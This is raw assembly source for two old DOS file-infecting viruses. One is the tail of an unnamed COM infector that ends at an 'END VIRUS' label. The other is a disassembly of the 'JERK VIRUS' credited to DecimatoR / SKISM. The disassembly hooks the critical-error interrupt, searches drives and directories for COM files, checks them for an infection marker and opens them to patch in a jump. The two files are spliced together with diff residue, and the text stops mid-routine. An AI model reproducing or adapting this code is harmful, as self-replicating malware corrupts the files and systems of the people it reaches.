;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;chdir;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
chdir:
mov ah,3bh
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;get_cur_drive;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
get_cur_drive:
mov ah,19h
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;set_cur_drive;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
set_cur_drive:
mov ah,0eh
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;get_cur_dir;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
get_cur_dir:
mov ah,47h
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;get_system_date;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
get_system_date:
mov ah,2ah
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;write_string;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
write_string:
mov ah,9h
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wait_for_key;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
wait_for_key:
mov ah,00h
int 21h
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
new_dta db 43 dup(?) ;new DTA (43 BYTES)
f_attr db ? ;file attributes
f_time dw ? ;file time
f_date dw ? ;file date
file_size dd ? ;file size
file db'*.COM',0 ;all com filez
original_three db 0cdh,20h,0,1,2 ;first three bytes of infected prog
new_jump db 5 dup(?) ;to calculate the new jump (3 bytes)
counter dw ?
crypt_val db 123
message:
db 40, 14, 21, 41, 18, 8, 30, 91, 12, 9, 18, 15, 15, 30, 21, 91, 25, 2, 91, 40, 11, 20, 20, 16, 2, 85, 91, 58, 14, 8, 15, 9, 18, 26, 91, 74, 66, 66, 77, 85, 113, 118, 95
message_ende:
dot_dot db '..',0
cur_dir db 64 dup(?)
drive db ?
new_int_3:
jmp $
ende_start_2: ;END VIRUS
+796
View File
@@ -0,0 +1,796 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ JERK VIRUS ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disassembly by ÛÛ
;ÛÛ ÛÛ
;ÛÛ DecimatoR / SKISM ÛÛ
;ÛÛ NOTE: Although this code compiles with TASM 2.0, it may not function ÛÛ
;ÛÛ in the same manner as the original virus. Test it further. ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 446h ; (009D:0446=10h)
data_2e equ 2Ch ; (8344:002C=0)
data_3e equ 80h ; (8344:0080=0)
data_22e equ 55Ch ; (8344:055C=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
super proc far
start:
call sub_1 ; (010A)
dec bp
;* jnz loc_3 ;*Jump if not zero
db 75h, 72h
jo loc_2 ; Jump if overflow=1
jns $-6Eh ; Jump if not sign
super endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
jmp short loc_1 ; (0115)
db 0CDh, 20h
data_7 dw 9090h, 9090h, 9090h
db 90h
loc_1:
cld ; Clear direction
pushf ; Push flags
call sub_2 ; (0132)
call sub_6 ; (01B1)
call sub_4 ; (0188)
call sub_28 ; (0491)
call sub_27 ; (041B)
call sub_5 ; (01A0)
popf ; Pop flags
pop bp
mov bp,100h
push bp
xor bp,bp ; Zero register
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
call sub_3 ; (017E)
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov di,offset ds:[4F4h] ; (8344:04F4=79h)
mov [bp+di],bx
mov [bp+di],es
push cs
pop es
mov ax,2524h
mov dx,offset int_24h_entry
add dx,bp
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3301h
xor dl,dl ; Zero register
int 21h ; DOS Services ah=function 33h
; ctrl-break flag al=off/on
mov si,offset ds:[10Bh] ; (8344:010B=9)
add si,bp
mov cx,9
mov di,offset ds:[100h] ; (8344:0100=0E8h)
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,1Ah
mov dx,offset data_21 ; (8344:053E=0)
add dx,bp
mov [bp+294h],dx
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov ah,19h
loc_2:
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
mov [bp+4F8h],al
mov bx,0FFFFh
mov [bp+53Ch],bx
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
pop bp
push bp
sub bp,134h
sub_2 endp
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry proc far
retn
int_24h_entry endp
db 32h,0C0h,0CFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov ah,1Ah
mov dx,data_3e ; (8344:0080=0)
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
call sub_7 ; (01DF)
mov ax,2524h
mov si,offset ds:[4F4h] ; (8344:04F4=79h)
lds dx,dword ptr [bp+si] ; Load 32 bit ptr
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
call sub_5 ; (01A0)
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push cs
pop ds
push cs
pop es
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
call sub_7 ; (01DF)
xor ah,ah ; Zero register
mov cx,ax
mov dh,al
locloop_4:
or dl,dl ; Zero ?
jnz loc_5 ; Jump if not zero
mov dl,dh
loc_5:
call sub_8 ; (01E8)
dec dl
jnc loc_6 ; Jump if carry=0
loop locloop_4 ; Loop if cx > 0
jmp short loc_ret_8 ; (01DE)
loc_6:
dec cx
jz loc_7 ; Jump if zero
call sub_9 ; (021F)
jnc loc_ret_8 ; Jump if carry=0
call sub_7 ; (01DF)
call sub_8 ; (01E8)
jc loc_ret_8 ; Jump if carry Set
loc_7:
call sub_9 ; (021F)
loc_ret_8:
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov ah,0Eh
mov dl,[bp+4F8h]
int 21h ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push cx
push dx
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
je loc_10 ; Jump if equal
mul cx ; dx:ax = reg * ax
mul bx ; dx:ax = reg * ax
cmp ax,800h
jae loc_9 ; Jump if above or =
or dx,dx ; Zero ?
jz loc_10 ; Jump if zero
loc_9:
pop dx
push dx
dec dl
mov ah,0Eh
int 21h ; DOS Services ah=function 0Eh
; set default drive dl (0=a:)
mov ah,5Bh ; '['
xor cx,cx ; Zero register
mov dx,offset data_15+3 ; (8344:04FF=0)
add dx,bp
int 21h ; DOS Services ah=function 5Bh
; create new file, name @ ds:dx
jc loc_11 ; Jump if carry Set
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp short loc_11 ; (021C)
loc_10:
stc ; Set carry flag
loc_11:
pop dx
pop cx
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
call sub_13 ; (0297)
mov ah,3Bh ; ';'
mov dx,offset ds:[4F9h] ; (8344:04F9=2)
add dx,bp
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
call sub_10 ; (0232)
call sub_14 ; (02AB)
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
call sub_11 ; (025E)
jc loc_ret_14 ; Jump if carry Set
call sub_13 ; (0297)
call sub_18 ; (02EE)
jnc loc_13 ; Jump if carry=0
call sub_15 ; (02B8)
jc loc_13 ; Jump if carry Set
loc_12:
mov ah,3Bh ; ';'
mov dx,data_22e ; (8344:055C=0)
add dx,bp
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
call sub_10 ; (0232)
jnc loc_13 ; Jump if carry=0
call sub_14 ; (02AB)
call sub_16 ; (02D7)
jnc loc_12 ; Jump if carry=0
loc_13:
call sub_12 ; (027C)
loc_ret_14:
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov di,[bp+294h]
cmp di,0FA00h
cmc ; Complement carry
jc loc_ret_15 ; Jump if carry Set
add di,offset ds:[100h] ; (8344:0100=0E8h)
mov [bp+294h],di
mov si,offset data_21 ; (8344:053E=0)
add si,bp
mov cx,80h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
loc_ret_15:
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
pushf ; Push flags
mov si,[bp+294h]
sub si,100h
xchg si,[bp+294h]
mov di,offset data_21 ; (8344:053E=0)
add di,bp
mov cx,80h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
popf ; Pop flags
retn
sub_12 endp
db 0F1h, 69h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
mov di,[bp+294h]
add di,data_3e ; (8344:0080=0)
mov al,5Ch ; '\'
stosb ; Store al to es:[di]
mov ah,47h ; 'G'
mov si,di
xor dl,dl ; Zero register
int 21h ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
mov ah,3Bh ; ';'
mov dx,[bp+294h]
add dx,data_3e ; (8344:0080=0)
int 21h ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov cx,12h
mov dx,offset ds:[4FBh] ; (8344:04FB=0)
call sub_20 ; (0343)
jc loc_ret_18 ; Jump if carry Set
call sub_17 ; (02E0)
loc_16:
jc loc_ret_18 ; Jump if carry Set
mov al,2Eh ; '.'
cmp al,[bp+55Ch]
jne loc_17 ; Jump if not equal
call sub_16 ; (02D7)
jmp short loc_16 ; (02C6)
loc_17:
clc ; Clear carry flag
loc_ret_18:
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
call sub_21 ; (034A)
jc loc_ret_19 ; Jump if carry Set
call sub_17 ; (02E0)
loc_ret_19:
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
mov cl,10h
loc_20:
test cl,[bp+553h]
jnz loc_ret_21 ; Jump if not zero
call sub_21 ; (034A)
jnc loc_20 ; Jump if carry=0
loc_ret_21:
retn
sub_17 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_18 proc near
push word ptr [bp+4EAh]
mov dx,offset data_15+0Dh ; (8344:0509=0)
xor al,al ; Zero register
call sub_19 ; (0313)
jnc loc_22 ; Jump if carry=0
mov dx,offset data_15+19h ; (8344:0515=0)
xor al,al ; Zero register
call sub_19 ; (0313)
jnc loc_22 ; Jump if carry=0
mov dx,offset data_15+1Fh ; (8344:051B=0)
mov al,0FFh
call sub_19 ; (0313)
loc_22:
pop word ptr [bp+4EAh]
retn
sub_18 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_19 proc near
mov [bp+4EAh],al
mov cx,23h
call sub_20 ; (0343)
jc loc_ret_27 ; Jump if carry Set
mov cx,3
loc_23:
loop locloop_24 ; Loop if cx > 0
stc ; Set carry flag
retn
locloop_24:
call sub_22 ; (034F)
jc loc_25 ; Jump if carry Set
call sub_25 ; (03A9)
jc loc_25 ; Jump if carry Set
call sub_26 ; (03DF)
jmp short loc_26 ; (033E)
loc_25:
call sub_23 ; (0371)
call sub_21 ; (034A)
jnc loc_23 ; Jump if carry=0
retn
loc_26:
call sub_23 ; (0371)
clc ; Clear carry flag
loc_ret_27:
retn
sub_19 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_20 proc near
mov ah,4Eh ; 'N'
add dx,bp
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
retn
sub_20 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_21 proc near
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
retn
sub_21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_22 proc near
push cx
xor ax,ax ; Zero register
cmp ax,[bp+55Ah]
jb loc_28 ; Jump if below
mov ax,0F000h
cmp ax,[bp+558h]
jb loc_28 ; Jump if below
mov ax,9
cmp [bp+558h],ax
jb loc_28 ; Jump if below
mov cl,0
call sub_24 ; (039C)
loc_28:
pop cx
retn
sub_22 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_23 proc near
push cx
mov bx,[bp+53Ch]
cmp bx,0FFFFh
je loc_29 ; Jump if equal
mov ax,5701h
mov cx,[bp+554h]
mov dx,[bp+556h]
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov bx,0FFFFh
mov [bp+53Ch],bx
loc_29:
mov cl,[bp+553h]
call sub_24 ; (039C)
pop cx
retn
sub_23 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_24 proc near
mov ax,4301h
xor ch,ch ; Zero register
mov dx,data_22e ; (8344:055C=0)
add dx,bp
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
retn
sub_24 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_25 proc near
push cx
mov dx,data_22e ; (8344:055C=0)
add dx,bp
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_30 ; Jump if carry Set
mov [bp+53Ch],ax
mov dx,offset ds:[10Bh] ; (8344:010B=9)
add dx,bp
mov cx,9
mov bx,ax
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov cx,6
mov si,offset ds:[4EEh] ; (8344:04EE=0)
add si,bp
mov di,offset data_7 ; (8344:010E=90h)
add di,bp
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_31 ; Jump if not zero
stc ; Set carry flag
loc_30:
pop cx
retn
loc_31:
clc ; Clear carry flag
pop cx
retn
sub_25 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_26 proc near
mov di,offset ds:[4ECh] ; (8344:04EC=0E8h)
add di,bp
mov ax,[bp+558h]
sub ax,3
stosw ; Store ax to es:[di]
mov ax,4200h
mov bx,[bp+53Ch]
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
